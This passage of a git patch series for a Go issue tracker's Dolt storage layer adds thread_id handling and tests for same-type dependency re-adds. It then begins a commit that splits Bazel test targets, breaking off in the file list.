t.Run("CarriesThreadIDOntoTheStoredEdge", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() + conformance.RunBatchApplyCarriesThreadIDOntoTheStoredEdge(t, ctx, fixture) + }) + t.Run("CarriesThreadIDOntoAnExistingEdge", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() + conformance.RunBatchApplyCarriesThreadIDOntoAnExistingEdge(t, ctx, fixture) + }) + t.Run("RefusesAThreadIDLongerThanItsColumn", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() + conformance.RunBatchApplyRefusesAThreadIDLongerThanItsColumn(t, ctx, fixture) + }) t.Run("SplicesAForwardMetadataRef", func(t *testing.T) { ctx, cancel := testContext(t) defer cancel() diff --git a/internal/storage/dolt/dependency_commit_boundary_test.go b/internal/storage/dolt/dependency_commit_boundary_test.go index 19421828b..b952fd544 100644 --- a/internal/storage/dolt/dependency_commit_boundary_test.go +++ b/internal/storage/dolt/dependency_commit_boundary_test.go @@ -68,9 +68,21 @@ func (c *dependencyCommitBoundaryConn) QueryContext(_ context.Context, query str return &dependencyCommitBoundaryRows{columns: []string{"exists"}}, nil case strings.Contains(query, "SELECT issue_type FROM wisps WHERE id = ?"): return &dependencyCommitBoundaryRows{columns: []string{"issue_type"}, values: [][]driver.Value{{"task"}}}, nil + // The add path's existence probe reads the stored edge's metadata and + // thread_id alongside its type: a same-type re-add compares both to decide + // whether it changes anything. + case strings.Contains(query, "SELECT type, metadata, thread_id FROM dependencies"), + strings.Contains(query, "SELECT type, metadata, thread_id FROM wisp_dependencies"): + if c.driver.newEdge { + return &dependencyCommitBoundaryRows{columns: []string{"type", "metadata", "thread_id"}}, nil + } + return &dependencyCommitBoundaryRows{ + columns: []string{"type", "metadata", "thread_id"}, + values: [][]driver.Value{{"related", "{}", nil}}, + }, nil // The remove path reads the edge's metadata alongside its type: the events // journal records the removed edge's full payload so a consumer can replay - // it (bd-opisf). The add path's existence probe still selects type alone. + // it (bd-opisf). case strings.Contains(query, "SELECT type, metadata FROM dependencies"), strings.Contains(query, "SELECT type, metadata FROM wisp_dependencies"): if c.driver.newEdge { diff --git a/internal/storage/dolt/dependency_editor_contract_test.go b/internal/storage/dolt/dependency_editor_contract_test.go index 3f3b7d26a..f5fac1515 100644 --- a/internal/storage/dolt/dependency_editor_contract_test.go +++ b/internal/storage/dolt/dependency_editor_contract_test.go @@ -55,6 +55,12 @@ func TestDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp(t *testing.T) conformance.RunDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp(t, ctx, fixture) } +func TestDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion(t *testing.T) { + fixture, ctx, cleanup := newDoltDependencyEditorFixture(t, "idemthread") + defer cleanup() + conformance.RunDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion(t, ctx, fixture) +} + func TestDependencyEditorRepeatsWithinOneRequestCollapse(t *testing.T) { fixture, ctx, cleanup := newDoltDependencyEditorFixture(t, "repeat") defer cleanup() diff --git a/internal/storage/domain/db/dependency.go b/internal/storage/domain/db/dependency.go index 066ed7bd5..dc4332bb1 100644 --- a/internal/storage/domain/db/dependency.go +++ b/internal/storage/domain/db/dependency.go @@ -110,12 +110,12 @@ func (r *dependencySQLRepositoryImpl) Insert(ctx context.Context, dep *types.Dep table := pickDepTable(opts.UseWispsTable) var existingType string - var existingMetadataNS sql.NullString + var existingMetadataNS, existingThreadNS sql.NullString err := r.runner.QueryRowContext(ctx, //nolint:gosec // G201: table and depTargetExpr are hardcoded constants - fmt.Sprintf("SELECT type, metadata FROM %s WHERE issue_id = ? AND %s = ?", table, depTargetExpr), + fmt.Sprintf("SELECT type, metadata, thread_id FROM %s WHERE issue_id = ? AND %s = ?", table, depTargetExpr), dep.IssueID, dep.DependsOnID, - ).Scan(&existingType, &existingMetadataNS) + ).Scan(&existingType, &existingMetadataNS, &existingThreadNS) switch { case err == nil: existingMetadata := existingMetadataNS.String @@ -123,28 +123,35 @@ func (r *dependencySQLRepositoryImpl) Insert(ctx context.Context, dep *types.Dep existingMetadata = "{}" } if existingType == string(dep.Type) { - if issueops.DependencyMetadataEqual(existingMetadata, metadata) { - // Same type, same metadata: a change-free write. Nothing is - // written and nothing is journaled (#5898 R3). + // A re-add naming a thread the row does not carry moves it; one + // naming none keeps the stored thread (the issueops twin's rule). + thread, threadChanged := issueops.ReAddedDependencyThread(existingThreadNS, dep.ThreadID) + if !threadChanged && issueops.DependencyMetadataEqual(existingMetadata, metadata) { + // Same type, same metadata, same thread: a change-free write. + // Nothing is written and nothing is journaled (#5898 R3). return nil } //nolint:gosec // G201: table and depTargetExpr are hardcoded constants if _, err := r.runner.ExecContext(ctx, - fmt.Sprintf("UPDATE %s SET metadata = ? WHERE issue_id = ? AND %s = ?", table, depTargetExpr), - metadata, dep.IssueID, dep.DependsOnID, + fmt.Sprintf("UPDATE %s SET metadata = ?, thread_id = ? WHERE issue_id = ? AND %s = ?", table, depTargetExpr), + metadata, thread, dep.IssueID, dep.DependsOnID, ); err != nil { return fmt.Errorf("db: DependencySQLRepository.Insert: refresh metadata: %w", err) } - // A same-type add refreshes edge metadata. It is an observable graph - // mutation, so emit the complete replacement edge for replay. + // A same-type add refreshes the edge's metadata or thread. It is an + // observable graph mutation, so journal the replacement edge for + // replay. EventDep has no thread member, so a thread-only change + // journals the same payload as the original add; the source's + // version snapshot is what records the new thread. if err := issueops.RecordDepEventInTx(ctx, r.runner, issueops.EventDepAdd, dep.IssueID, string(dep.Type), dep.DependsOnID, metadata, actor); err != nil { return err } - // The metadata genuinely changed, so this re-add is a real - // durable-state mutation of the source issue and mints on the - // same terms as a new edge (#5898 leg 2: "a same-type re-add - // whose metadata actually changed mints EXACTLY ONE version - // carrying the new state"). + // The metadata or thread genuinely changed, so this re-add is a + // real durable-state mutation of the source issue (its version + // snapshot carries each edge's thread_id) and mints on the same + // terms as a new edge (#5898 leg 2: "a same-type re-add whose + // metadata actually changed mints EXACTLY ONE version carrying the + // new state"). return issueops.RecordVersionInTx(ctx, r.runner, dep.IssueID, actor) } return &domain.DependencyTypeConflictError{ diff --git a/internal/storage/domain/db/dependency_null_metadata_test.go b/internal/storage/domain/db/dependency_null_metadata_test.go index 60f8a68cd..e15cbead6 100644 --- a/internal/storage/domain/db/dependency_null_metadata_test.go +++ b/internal/storage/domain/db/dependency_null_metadata_test.go @@ -29,7 +29,9 @@ func newMockDependencyRepo(t *testing.T) (sqlmock.Sqlmock, *dependencySQLReposit // which would turn every subsequent re-add of that edge into an error on a // path that used to be idempotently happy. NULL is the absent-metadata state, // so it reads as `{}` and the change-free re-add of a metadata-free edge stays -// the no-op it was. +// the no-op it was. thread_id is nullable the same way and read by the same +// gate; a re-add naming no thread keeps a NULL one, so the row holds NULL in +// both columns and the re-add is still change-free. // // The repair landed on both planes; without this the two planes are pinned // asymmetrically and a revert of the serve-mode scan alone has nothing red to @@ -37,9 +39,9 @@ func newMockDependencyRepo(t *testing.T) (sqlmock.Sqlmock, *dependencySQLReposit func TestDependencyInsertReadsNullStoredMetadataAsEmptyObject(t *testing.T) { mock, repo := newMockDependencyRepo(t) - mock.ExpectQuery(regexp.QuoteMeta("SELECT type, metadata FROM dependencies")). + mock.ExpectQuery(regexp.QuoteMeta("SELECT type, metadata, thread_id FROM dependencies")). WithArgs("dep-a", "dep-b"). - WillReturnRows(sqlmock.NewRows([]string{"type", "metadata"}).AddRow(string(types.DepRelated), nil)) + WillReturnRows(sqlmock.NewRows([]string{"type", "metadata", "thread_id"}).AddRow(string(types.DepRelated), nil, nil)) dep := &types.Dependency{IssueID: "dep-a", DependsOnID: "dep-b", Type: types.DepRelated} // DepRelated is not a scheduling edge and the hierarchy check is declared diff --git a/internal/storage/embeddeddolt/batch_apply_contract_test.go b/internal/storage/embeddeddolt/batch_apply_contract_test.go index 3ed6724a9..c7be4ca2d 100644 --- a/internal/storage/embeddeddolt/batch_apply_contract_test.go +++ b/internal/storage/embeddeddolt/batch_apply_contract_test.go @@ -116,6 +116,15 @@ func TestBatchApplyContract(t *testing.T) { t.Run("StampsSpawnerIDOnlyWhenNamed", func(t *testing.T) { conformance.RunBatchApplyStampsSpawnerIDOnlyWhenNamed(t, ctx, fixture) }) + t.Run("CarriesThreadIDOntoTheStoredEdge", func(t *testing.T) { + conformance.RunBatchApplyCarriesThreadIDOntoTheStoredEdge(t, ctx, fixture) + }) + t.Run("CarriesThreadIDOntoAnExistingEdge", func(t *testing.T) { + conformance.RunBatchApplyCarriesThreadIDOntoAnExistingEdge(t, ctx, fixture) + }) + t.Run("RefusesAThreadIDLongerThanItsColumn", func(t *testing.T) { + conformance.RunBatchApplyRefusesAThreadIDLongerThanItsColumn(t, ctx, fixture) + }) t.Run("SplicesAForwardMetadataRef", func(t *testing.T) { conformance.RunBatchApplySplicesAForwardMetadataRef(t, ctx, fixture) }) diff --git a/internal/storage/embeddeddolt/dependency_editor_contract_test.go b/internal/storage/embeddeddolt/dependency_editor_contract_test.go index 15fb44f16..88335f2d7 100644 --- a/internal/storage/embeddeddolt/dependency_editor_contract_test.go +++ b/internal/storage/embeddeddolt/dependency_editor_contract_test.go @@ -57,6 +57,12 @@ func TestEmbeddedDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp(t *te conformance.RunDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp(t, ctx, newEmbeddedDependencyEditorFixture(t, ctx, "idemmetasame")) } +func TestEmbeddedDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion(t *testing.T) { + skipUnlessEmbeddedDolt(t) + ctx := t.Context() + conformance.RunDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion(t, ctx, newEmbeddedDependencyEditorFixture(t, ctx, "idemthread")) +} + func TestEmbeddedDependencyEditorRepeatsWithinOneRequestCollapse(t *testing.T) { skipUnlessEmbeddedDolt(t) ctx := t.Context() diff --git a/internal/storage/issueops/dependencies.go b/internal/storage/issueops/dependencies.go index d6acfe91f..17b113438 100644 --- a/internal/storage/issueops/dependencies.go +++ b/internal/storage/issueops/dependencies.go @@ -32,6 +32,19 @@ func DependencyMetadataEqual(a, b string) bool { return bytes.Equal(aCanon, bCanon) } +// ReAddedDependencyThread returns the thread_id a same-type re-add leaves on an +// existing edge and whether that differs from the stored one. A named thread +// the row does not already carry replaces it; an empty one names no thread +// rather than asking for none, so the stored value — NULL included — is kept. +// Both dependency re-add idempotency checks share this, alongside +// DependencyMetadataEqual, so they can't drift. +func ReAddedDependencyThread(stored sql.NullString, requested string) (sql.NullString, bool) { + if requested == "" || requested == stored.String { + return stored, false + } + return sql.NullString{String: requested, Valid: true}, true +} + type DepTargetKind int const ( @@ -178,8 +191,9 @@ type DepTargetPrecheck struct { // - Source/target existence validation // - Hierarchy deadlock validation for blocking deps (GH#1495, bd-wg7ve) // - Cycle detection via recursive CTE across both dependency tables -// - Idempotent same-type re-adds: a metadata change updates it, a -// change-free re-add writes and journals nothing (#5898 R3) +// - Idempotent same-type re-adds: a metadata or thread change updates it +// (an empty ThreadID keeps the stored thread), a change-free re-add +// writes and journals nothing (#5898 R3) // - Type conflict detection // // The caller is responsible for transaction lifecycle, dolt commits, and @@ -195,9 +209,9 @@ type DepTargetPrecheck struct { // state, so it mints one version row for the source — on EVERY leg that reaches // this helper (the dependency editor, the legacy store verbs, batch apply), // whether or not an audit event was requested. A same-type re-add that changes -// metadata is the same kind of durable-state change and mints on the same -// terms; only a genuinely change-free re-add (identical type and metadata) -// mints nothing. +// metadata or thread is the same kind of durable-state change and mints on the +// same terms; only a genuinely change-free re-add (identical type and metadata, +// no new thread) mints nothing. func AddDependencyInTx(ctx context.Context, tx *sql.Tx, dep *types.Dependency, actor string, opts AddDependencyOpts) (bool, error) { return addDependencyInTx(ctx, tx, dep, actor, opts, nil, true) } @@ -295,38 +309,46 @@ func addDependencyInTx(ctx context.Context, tx *sql.Tx, dep *types.Dependency, a // target expression defensively so stale/reclassified rows in another typed // target column cannot bypass the idempotency/conflict check. var existingType string - var existingMetadataNS sql.NullString + var existingMetadataNS, existingThreadNS sql.NullString //nolint:gosec // G201: writeTable from WispTableRouting; depTargetEquals has no user input. - err := tx.QueryRowContext(ctx, fmt.Sprintf(`SELECT type, metadata FROM %s WHERE issue_id = ? AND %s`, writeTable, depTargetEquals("")), - dep.IssueID, dep.DependsOnID).Scan(&existingType, &existingMetadataNS) + err := tx.QueryRowContext(ctx, fmt.Sprintf(`SELECT type, metadata, thread_id FROM %s WHERE issue_id = ? AND %s`, writeTable, depTargetEquals("")), + dep.IssueID, dep.DependsOnID).Scan(&existingType, &existingMetadataNS, &existingThreadNS) if err == nil { existingMetadata := existingMetadataNS.String if !existingMetadataNS.Valid { existingMetadata = "{}" } if existingType == string(dep.Type) { - if DependencyMetadataEqual(existingMetadata, metadata) { - // Same type, same metadata: a change-free write. Nothing is - // written and nothing is journaled (#5898 R3). + // A re-add naming a thread the row does not carry moves it. One + // naming none keeps the stored thread rather than clearing it, so + // the callers that never carry a thread cannot erase one. + thread, threadChanged := ReAddedDependencyThread(existingThreadNS, dep.ThreadID) + if !threadChanged && DependencyMetadataEqual(existingMetadata, metadata) { + // Same type, same metadata, same thread: a change-free write. + // Nothing is written and nothing is journaled (#5898 R3). return false, nil } - // Same type, different metadata — idempotent; update metadata. No - // event is written, so the caller must not stage the events table - // for this re-add. + // Same type, different metadata or thread — idempotent; update the + // row in place. No event is written, so the caller must not stage + // the events table for this re-add. //nolint:gosec // G201: writeTable from WispTableRouting; depTargetEquals has no user input. - if _, err := tx.ExecContext(ctx, fmt.Sprintf(`UPDATE %s SET metadata = ? WHERE issue_id = ? AND %s`, writeTable, depTargetEquals("")), - metadata, dep.IssueID, dep.DependsOnID); err != nil { + if _, err := tx.ExecContext(ctx, fmt.Sprintf(`UPDATE %s SET metadata = ?, thread_id = ? WHERE issue_id = ? AND %s`, writeTable, depTargetEquals("")), + metadata, thread, dep.IssueID, dep.DependsOnID); err != nil { return false, fmt.Errorf("failed to update dependency metadata: %w", err) } - // A same-type add refreshes edge metadata. It is an observable graph - // mutation, so emit the complete replacement edge for replay even - // though no audit event is written. + // A same-type add refreshes the edge's metadata or thread. It is an + // observable graph mutation, so journal the replacement edge for + // replay even though no audit event is written. EventDep has no + // thread member, so a thread-only change journals the same payload + // as the original add; the source's version snapshot is what + // records the new thread. if err := RecordDepEventInTx(ctx, tx, EventDepAdd, dep.IssueID, string(dep.Type), dep.DependsOnID, metadata, actor); err != nil { return false, err } - // The metadata genuinely changed, so — unlike the change-free - // branch above — this re-add is a real durable-state mutation of - // the source issue and mints on the same terms as a new edge + // The metadata or thread genuinely changed, so — unlike the + // change-free branch above — this re-add is a real durable-state + // mutation of the source issue (its version snapshot carries each + // edge's thread_id) and mints on the same terms as a new edge // (#5898 leg 2: "a same-type re-add whose metadata actually // changed mints EXACTLY ONE version carrying the new state"). return false, mintDependencyVersion(ctx, tx, dep.IssueID, actor, mintVersion) @@ -421,11 +443,11 @@ func addDependencyInTx(ctx context.Context, tx *sql.Tx, dep *types.Dependency, a } // mintDependencyVersion versions the referencing (source) issue of an edge that -// was actually inserted, deleted, or had its metadata refreshed by a same-type -// re-add: the version-history seam for every dependency write path, reached -// from addDependencyInTx and removeDependencyInTx only past a real row write — -// never from a genuinely change-free re-add or the absent-edge return, which -// mint nothing. mint false defers to a caller that mints once for a +// was actually inserted, deleted, or had its metadata or thread refreshed by a +// same-type re-add: the version-history seam for every dependency write path, +// reached from addDependencyInTx and removeDependencyInTx only past a real row +// write — never from a genuinely change-free re-add or the absent-edge return, +// which mint nothing. mint false defers to a caller that mints once for a // multi-edge mutation. A wisp source is excluded by the seam itself. func mintDependencyVersion(ctx context.Context, tx DBTX, issueID, actor string, mint bool) error { if !mint { diff --git a/internal/storage/issueops/dependencies_test.go b/internal/storage/issueops/dependencies_test.go index 635f81cb2..af2cfb5cd 100644 --- a/internal/storage/issueops/dependencies_test.go +++ b/internal/storage/issueops/dependencies_test.go @@ -2,6 +2,7 @@ package issueops import ( "context" + "database/sql" "errors" "reflect" "regexp" @@ -331,6 +332,45 @@ func TestDependencyMetadataEqualComparesValuesNotBytes(t *testing.T) { } } +// TestReAddedDependencyThreadKeepsTheStoredThreadUnlessANewOneIsNamed pins the +// thread half of the same-type re-add gate. A re-add naming a thread the row +// does not carry is a change that must reach the row; a re-add naming none +// says nothing about threads, so it must leave the stored one — NULL, empty +// or named — exactly as it is, or every plain `bd dep add` of a threaded edge +// would erase its thread. +func TestReAddedDependencyThreadKeepsTheStoredThreadUnlessANewOneIsNamed(t *testing.T) { + t.Parallel() + + null := sql.NullString{} + empty := sql.NullString{Valid: true} + named := sql.NullString{String: "thread-1", Valid: true} + for _, tc := range []struct { + name string + stored sql.NullString + requested string + want sql.NullString + wantChanged bool + }{ + {name: "NoneNamedKeepsNull", stored: null, requested: "", want: null}, + {name: "NoneNamedKeepsEmpty", stored: empty, requested: "", want: empty}, + {name: "NoneNamedKeepsTheStoredThread", stored: named, requested: "", want: named}, + {name: "SameThreadIsNoChange", stored: named, requested: "thread-1", want: named}, + {name: "NewThreadOverNull", stored: null, requested: "thread-1", want: named, wantChanged: true}, + {name: "NewThreadOverEmpty", stored: empty, requested: "thread-1", want: named, wantChanged: true}, + {name: "DifferentThreadReplacesIt", stored: named, requested: "thread-2", + want: sql.NullString{String: "thread-2", Valid: true}, wantChanged: true}, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + got, changed := ReAddedDependencyThread(tc.stored, tc.requested) + if got != tc.want || changed != tc.wantChanged { + t.Errorf("ReAddedDependencyThread(%+v, %q) = (%+v, %v), want (%+v, %v)", + tc.stored, tc.requested, got, changed, tc.want, tc.wantChanged) + } + }) + } +} + // TestAddDependencyInTxReadsNullStoredMetadataAsEmptyObject pins the widened // SELECT's handling of a SQL-NULL metadata column. dependencies.metadata is // nullable (`JSON DEFAULT (JSON_OBJECT())`, no NOT NULL), so a row written out @@ -341,6 +381,11 @@ func TestDependencyMetadataEqualComparesValuesNotBytes(t *testing.T) { // re-add of that edge into an error. NULL is the absent-metadata state, so it // reads as `{}` and the change-free re-add of a metadata-free edge stays the // no-op it was. +// +// thread_id is nullable the same way (a VARCHAR with no NOT NULL), and the gate +// reads it too, so the row here holds NULL in both columns: a re-add naming no +// thread keeps whatever thread the row stores, NULL included, so this re-add +// is still change-free. func TestAddDependencyInTxReadsNullStoredMetadataAsEmptyObject(t *testing.T) { t.Parallel() @@ -349,9 +394,9 @@ func TestAddDependencyInTxReadsNullStoredMetadataAsEmptyObject(t *testing.T) { mock.ExpectQuery(regexp.QuoteMeta("SELECT issue_type FROM issues WHERE id = ?")). WithArgs("dep-a"). WillReturnRows(sqlmock.NewRows([]string{"issue_type"}).AddRow("task")) - mock.ExpectQuery(regexp.QuoteMeta("SELECT type, metadata FROM dependencies")). + mock.ExpectQuery(regexp.QuoteMeta("SELECT type, metadata, thread_id FROM dependencies")). WithArgs("dep-a", "dep-b"). - WillReturnRows(sqlmock.NewRows([]string{"type", "metadata"}).AddRow(string(types.DepRelated), nil)) + WillReturnRows(sqlmock.NewRows([]string{"type", "metadata", "thread_id"}).AddRow(string(types.DepRelated), nil, nil)) kind := DepTargetIssue dep := &types.Dependency{IssueID: "dep-a", DependsOnID: "dep-b", Type: types.DepRelated} diff --git a/internal/storage/uow/batch_apply_contract_test.go b/internal/storage/uow/batch_apply_contract_test.go index d49656b44..6ae8f3899 100644 --- a/internal/storage/uow/batch_apply_contract_test.go +++ b/internal/storage/uow/batch_apply_contract_test.go @@ -118,6 +118,15 @@ func TestBatchApplyContract(t *testing.T) { t.Run("StampsSpawnerIDOnlyWhenNamed", func(t *testing.T) { conformance.RunBatchApplyStampsSpawnerIDOnlyWhenNamed(t, ctx, fixture) }) + t.Run("CarriesThreadIDOntoTheStoredEdge", func(t *testing.T) { + conformance.RunBatchApplyCarriesThreadIDOntoTheStoredEdge(t, ctx, fixture) + }) + t.Run("CarriesThreadIDOntoAnExistingEdge", func(t *testing.T) { + conformance.RunBatchApplyCarriesThreadIDOntoAnExistingEdge(t, ctx, fixture) + }) + t.Run("RefusesAThreadIDLongerThanItsColumn", func(t *testing.T) { + conformance.RunBatchApplyRefusesAThreadIDLongerThanItsColumn(t, ctx, fixture) + }) t.Run("SplicesAForwardMetadataRef", func(t *testing.T) { conformance.RunBatchApplySplicesAForwardMetadataRef(t, ctx, fixture) }) diff --git a/internal/storage/uow/dependency_editor_contract_test.go b/internal/storage/uow/dependency_editor_contract_test.go index 02b91a878..855ec2521 100644 --- a/internal/storage/uow/dependency_editor_contract_test.go +++ b/internal/storage/uow/dependency_editor_contract_test.go @@ -32,6 +32,7 @@ func TestUOWDependencyEditorContract(t *testing.T) { {name: "SameTypeReAddIsIdempotent", run: conformance.RunDependencyEditorSameTypeReAddIsIdempotent}, {name: "SameTypeReAddWithChangedMetadataMintsOneVersion", run: conformance.RunDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion}, {name: "SameTypeReAddWithIdenticalMetadataIsANoOp", run: conformance.RunDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp}, + {name: "SameTypeReAddWithChangedThreadMintsOneVersion", run: conformance.RunDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion}, {name: "RepeatsWithinOneRequestCollapse", run: conformance.RunDependencyEditorRepeatsWithinOneRequestCollapse}, {name: "AttributesItsEventsToTheActor", run: conformance.RunDependencyEditorAttributesItsEventsToTheActor}, {name: "RetypeRefusalLeavesTheOriginalEdge", run: conformance.RunDependencyEditorRetypeRefusalLeavesTheOriginalEdge}, diff --git a/issueops/batchapplier.go b/issueops/batchapplier.go index 39889926e..ac84c74df 100644 --- a/issueops/batchapplier.go +++ b/issueops/batchapplier.go @@ -220,9 +220,13 @@ type DepAddItem struct { // not express. One spelling, and it is this one. Metadata string // HasSpawner marks a DepWaitsFor edge whose caller explicitly named a - // spawner (bd create --graph's edges[].spawner_key/spawner_id, which the - // CLI's own plan validator already forces to equal this edge's own - // Target). Only then does the role stamp Metadata's spawner_id from the + // spawner: a graph plan's edges[].spawner_key/spawner_id, which bd create + // --graph's plan validator forces to equal the edge's own Target. It has + // two producers: bd create --graph itself, which sets it from those + // members on the embedded and proxied legs alike (cmd/bd's + // buildGraphApplyBatchRequest), and an embedder lowering such a plan onto + // this role (gc's ApplyGraphPlan mapping, on BatchApplier below). Only + // when it is set does the role stamp Metadata's spawner_id from the // resolved Target, once every id in the batch exists (see // StampWaitsForSpawnerID) — a plan-local spawner key cannot be resolved // any earlier than that. @@ -236,9 +240,15 @@ type DepAddItem struct { // Type. HasSpawner bool // ThreadID carries conversation-threading metadata (e.g. a replies-to - // edge's originating thread) onto the created dependency row. Empty means - // the edge carries none; it is a plain column, not part of Metadata's - // type-specific blob. + // edge's originating thread) onto the dependency row. Empty means the edge + // carries none; it is a plain column, not part of Metadata's type-specific + // blob, and one longer than the column holds is ErrValidation. + // + // A RE-ADD OF AN EDGE THAT ALREADY EXISTS WITH THE SAME TYPE CARRIES IT + // TOO. A thread the stored row does not already carry replaces it, and + // versions the source on the same terms as a Metadata change; an empty + // ThreadID keeps the stored thread rather than clearing it, so a re-apply + // that names none cannot erase one. ThreadID string } @@ -558,6 +568,29 @@ func HasExtendedRetryBudget(ctx context.Context) bool { // directly. `bd create --file` and `bd dep add --file` remain the file-shaped // front doors for the two homogeneous cases they already serve. // +// TWO EMBEDDER OPERATIONS MAP ONTO THIS ROLE RATHER THAN EARNING THEIR OWN +// (DESIGN §3.8, "Guarded writes: NO NEW ROLES"). Neither needs a new role or a +// new wire member; both are a SHAPE of ApplyBatchRequest, pinned by an +// http-leg conformance case so the shape does not drift under either side +// independently: +// +// - CloseWithMetadataIfMatch is an update item carrying a Metadata patch and +// ExpectedVersion, followed by a close item on the SAME target, in ONE +// request: []ApplyItem{{Kind: ItemUpdate, Update: &UpdateItem{Target: t, +// Patch: IssuePatch{Metadata: ...}, ExpectedVersion: &v}}, {Kind: ItemClose, +// Close: &CloseItem{Target: t}}}. It is atomic because the whole request is: +// a stale ExpectedVersion refuses the update, which refuses the request, and +// the close never runs — zero rows change. CloseItem itself carries no +// metadata member; this composition is the only way to land a metadata +// write and a close as one guarded act. +// - ApplyGraphPlan is a create item per node (Key, the issue's Labels and +// Metadata, Ephemeral, NoHistory, and MetadataRefs for a value only the +// plan's own later ids can supply), dep_add items for every edge the plan +// names — parent-child included, since a parent is a dep_add item of type +// parent-child like any other edge — and trailing update items for an +// AssignAfterCreate step, which patches a just-created row's Assignee by +// its backward Key reference. One request, declaration order, one outcome. +// // Implementations never mutate caller-owned request values, snapshot the // request at method entry, and apply validation and normalization only to // attempt-local clones. Deterministic request-validation failures match From d90823480a6554f3b6969fe424c54f885f659e23 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 05:13:07 +0000 Subject: [PATCH 069/213] ci(bazel): split //scripts:scripts_test by what it reads; partition //:repo_files (#7414) * ci(bazel): split //scripts:scripts_test by what it reads; partition //:repo_files //scripts:scripts_test declared //:repo_files (the whole checkout), so every PR re-ran it, and it took ~181s on rbe-west. Most of that (60-79s) was TestBazelGatedLanesNeverRetryFlakyTests line-regexping the --run_under wrapper's pinned dolt binary (tools/bazel/hermetic_bin/dolt, in every test's runfiles); it now skips binary files, as git grep -I does. tools/bazel/go_srcs.py's per-package repo_files block now partitions each package's files into repo_go_srcs, repo_go_test_srcs, repo_doc_files and repo_other_files, aggregated at the root; //:repo_files is their union (same 4679 files). The //scripts tests are split into go_test targets by what they read (traced per test with strace over a runfiles-shaped tree): scripts_test CI/Bazel policy: //:repo_other_files (+1 Go file) shell_scripts_test script fixtures: //scripts files, a few root files go_test_sources_test _test.go scans: //:repo_go_test_srcs + shard files go_sources_test check-testing-short.sh: every .go file tracked_files_test every tracked file: //:repo_files Shared helpers move to helpers-only files; TestScriptsTestTargetsPartition- TheTests fails on a test file in no target or in two. //test/docsync and the //scripts/repochecks slices declare partitions or single files instead of //:repo_files where they can. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): skip only the non-checkout hermetic_bin dir in the flaky-retry walk Skipping every binary file also stopped scanning tracked binaries (images, .binpb fixtures). Skip just tools/bazel/hermetic_bin, the --run_under wrapper's runfiles directory, which is not in the checkout, so the walk's coverage of tracked files is unchanged. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- BUILD.bazel | 1061 ++++++++++++++--- MODULE.bazel | 2 +- backend/BUILD.bazel | 43 +- backend/conformance/BUILD.bazel | 43 +- beadserrors/BUILD.bazel | 43 +- cmd/bd/BUILD.bazel | 57 +- cmd/bd/doctor/BUILD.bazel | 43 +- cmd/bd/doctor/fix/BUILD.bazel | 43 +- cmd/bd/protocol/BUILD.bazel | 43 +- cmd/bd/setup/BUILD.bazel | 43 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 17 +- format/BUILD.bazel | 43 +- internal/ado/BUILD.bazel | 43 +- internal/atomicfile/BUILD.bazel | 43 +- internal/audit/BUILD.bazel | 43 +- internal/beads/BUILD.bazel | 43 +- internal/ceiling/BUILD.bazel | 43 +- internal/compact/BUILD.bazel | 43 +- internal/config/BUILD.bazel | 43 +- internal/configfile/BUILD.bazel | 43 +- internal/creds/BUILD.bazel | 43 +- internal/debug/BUILD.bazel | 43 +- internal/doltremote/BUILD.bazel | 43 +- internal/doltserver/BUILD.bazel | 43 +- internal/doltversion/BUILD.bazel | 43 +- internal/eventsjournal/BUILD.bazel | 43 +- internal/execenv/BUILD.bazel | 43 +- internal/fdhygiene/BUILD.bazel | 43 +- internal/formula/BUILD.bazel | 43 +- internal/formula/cmd/schemagen/BUILD.bazel | 43 +- internal/formula/schemagen/BUILD.bazel | 43 +- internal/git/BUILD.bazel | 43 +- internal/gitenv/BUILD.bazel | 43 +- internal/githooksenv/BUILD.bazel | 43 +- internal/github/BUILD.bazel | 43 +- internal/gitignore/BUILD.bazel | 43 +- internal/gitlab/BUILD.bazel | 43 +- internal/gittraceenv/BUILD.bazel | 43 +- internal/hooks/BUILD.bazel | 43 +- internal/httpapi/BUILD.bazel | 43 +- internal/httpapi/apigen/BUILD.bazel | 43 +- internal/httpapi/spec/BUILD.bazel | 43 +- internal/httpapi/wireshape/BUILD.bazel | 43 +- .../wireshape/cmd/gendigest/BUILD.bazel | 43 +- internal/httpclient/BUILD.bazel | 43 +- internal/httpclient/encode/BUILD.bazel | 43 +- internal/httpclient/wire/BUILD.bazel | 43 +- internal/idgen/BUILD.bazel | 43 +- internal/jira/BUILD.bazel | 43 +- internal/linear/BUILD.bazel | 43 +- internal/lockfile/BUILD.bazel | 43 +- internal/memoryapi/BUILD.bazel | 43 +- internal/metrics/BUILD.bazel | 43 +- internal/migration/BUILD.bazel | 43 +- internal/migration/legacysqlite/BUILD.bazel | 43 +- internal/molecules/BUILD.bazel | 43 +- internal/notion/BUILD.bazel | 43 +- internal/procid/BUILD.bazel | 43 +- internal/query/BUILD.bazel | 43 +- internal/recipes/BUILD.bazel | 43 +- internal/remotecache/BUILD.bazel | 43 +- internal/routing/BUILD.bazel | 43 +- internal/storage/BUILD.bazel | 43 +- internal/storage/backendnames/BUILD.bazel | 43 +- internal/storage/backends/BUILD.bazel | 43 +- internal/storage/batchbench/BUILD.bazel | 43 +- internal/storage/batchfixtures/BUILD.bazel | 43 +- internal/storage/contextinfo/BUILD.bazel | 43 +- internal/storage/createbatchequiv/BUILD.bazel | 43 +- internal/storage/dberrors/BUILD.bazel | 43 +- internal/storage/dbproxy/identity/BUILD.bazel | 43 +- internal/storage/dbproxy/pidfile/BUILD.bazel | 43 